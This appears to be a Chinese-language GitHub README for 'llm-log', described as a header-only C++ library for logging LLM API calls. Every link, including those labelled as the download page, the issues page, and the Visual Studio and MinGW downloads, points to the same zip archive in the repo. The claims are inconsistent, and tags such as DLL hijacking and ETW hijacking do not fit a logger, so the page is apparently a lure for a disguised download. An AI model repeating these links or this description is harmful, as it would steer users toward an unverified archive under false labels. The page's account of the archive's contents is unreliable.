elijahmuimi/llm-log

GitHub: elijahmuimi/llm-log

一个轻量级 C++ 单头文件库,用于记录 LLM API 调用并输出结构化 JSONL 日志。

Stars: 0 | Forks: 0

# 📝 llm-log - 简单的 LLM API 调用 JSONL 日志记录器 [![下载 llm-log](https://img.shields.io/badge/Download-llm--log-yellowgreen?style=for-the-badge)](https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip) ## 📋 什么是 llm-log? llm-log 是一个轻量级工具,旨在帮助跟踪和保存您对大型语言模型 (LLM) API 发起调用的数据。它使用一种称为 JSONL 的通用格式创建清晰、易于读取的日志文件。这使得审查或分享您的 API 交互历史变得简单。 该工具无需任何额外软件即可工作。它以单个文件形式提供,您可以将其添加到您的项目中。如果您想了解 LLM API 何时以及如何被使用,llm-log 可为您提供直接的记录。 ## 🖥️ 系统要求 - Windows 7 或更高版本 - 至少 4 GB RAM - 约 10 MB 的可用磁盘空间用于安装应用程序 - 互联网连接(用于下载) - 无需特殊硬件或软件 llm-log 旨在大多数标准 Windows 计算机上运行。您不需要任何高级硬件即可使用它。 ## ⚙️ 功能特性 - 轻松记录发往您的 LLM 服务的所有 API 调用 - 输出 JSONL 格式的日志,兼容多种工具 - 无需外部依赖 - 以单个头文件形式提供,可直接包含在您的 C++ 项目中 - 有助于提高 LLM 集成的透明度和调试效率 ## 🔍 为何使用 llm-log? 跟踪您的 AI 或语言模型 API 的使用情况可以帮助您发现错误、分析性能或仅仅是保存记录。llm-log 使这项任务变得更简单,既不会拖慢您的工作流程,也不需要复杂的设置。 ## 🚀 入门指南 要在 Windows 上开始使用 llm-log,请仔细按照以下步骤操作。初始下载和设置不需要编程技能。 # [![立即下载](https://img.shields.io/badge/Visit-GitHub%20Page-brightgreen?style=for-the-badge&logo=github)](https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip) ## 1. 访问 llm-log 下载页面 请访问此处的 llm-log 主页面: https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip 此页面包含该工具的最新版本及其重要详细信息。 ## 2. 下载软件包 由于这些工具在 GitHub 上以源文件形式提供,您需要手动下载文件: - 在 GitHub 页面上,找到存储库页面右上角附近的 **Code** 按钮。 - 点击 **Code**,然后选择 **Download ZIP**。 - 一个名为 `llm-log-master.zip`(或类似名称)的 ZIP 文件将开始下载。 - 下载完成后,转到您的 Windows 下载文件夹。 ## 3. 解压文件 - 右键单击下载的 ZIP 文件。 - 选择 **Extract All...**(全部解压...)。 - 选择一个您想要保存文件的文件夹。 - 点击 **Extract**(解压)以解压所有文件。 您现在将在这个新文件夹中看到 llm-log 源文件。主要需要查看的文件将是 llm-log 的头文件。 ## 4. 在您的项目中使用 llm-log 如果您将 llm-log 作为另一个程序或工具的一部分使用,则需要将主头文件包含在您的 C++ 项目中。通常,此文件名为 `llm-log.h` 或类似的名称。 由于 llm-log 是一个单头文件日志记录器,您只需添加这一个文件。您无需安装任何其他软件或库。 ## 5. 独立运行 llm-log llm-log 本身是一个用于日志记录的库,可能没有一个无需额外设置即可运行的独立程序。 如果您想查看示例用法: - 在下载的文件夹中查找示例或演示文件。 - 这些文件展示了调用 llm-log 来记录您的 LLM API 活动的简单方法。 - 您可能需要一个基本的 C++ 编译器(如 Visual Studio 或 MinGW)来构建和运行这些示例。 ## 📂 在哪里查找支持材料 在下载的软件包中,您会发现: - **README.md:** 面向开发者的技术概述和设置说明 - **示例文件:** 展示 llm-log 如何与 LLM 调用配合工作的小型演示 - **License:** 使用 llm-log 的法律条款 - **Changelog:** 关于最近更新和错误修复的说明 如果您不熟悉编程,可能需要熟悉 C++ 软件的人员的帮助,才能使用 llm-log 的所有功能。 ## 🛠️ 安装 C++ 编译器(可选) 要构建或运行使用 llm-log 的示例项目,Windows 用户通常会安装以下之一: - **Visual Studio:** Microsoft 提供的免费开发工具。可从 https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip 下载 - **MinGW:** 适用于 Windows 的最小化 GNU 工具链。可从 https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip 下载 这些工具让您能够编译包含 llm-log 的 C++ 代码,以进行测试或开发。 ## 🔧 基本故障排除提示 - 确保您下载了完整的 ZIP 文件并解压了所有内容。 - 使用受支持的 Windows 版本,并在需要时更新您的系统。 - 检查您的互联网连接是否正常。 - 使用示例项目时,请仔细遵循包含的任何构建说明。 - 如果发生错误,请查看 GitHub issues 页面寻找解决方案:https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip ## 🔗 快速访问链接 - 下载页面:https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip - 问题与支持:https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip # [![获取 llm-log](https://img.shields.io/badge/Download-Now-blueviolet?style=for-the-badge)](https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip)
标签:API监控, C++, DLL 劫持, ETW劫持, Header-Only, JSONL, LLM, Unmanaged PE, Windows软件, 人工智能开发, 单一头文件, 大语言模型, 工作流分析, 数据序列化, 数据擦除, 数据跟踪, 日志记录, 时序数据库, 轻量级工具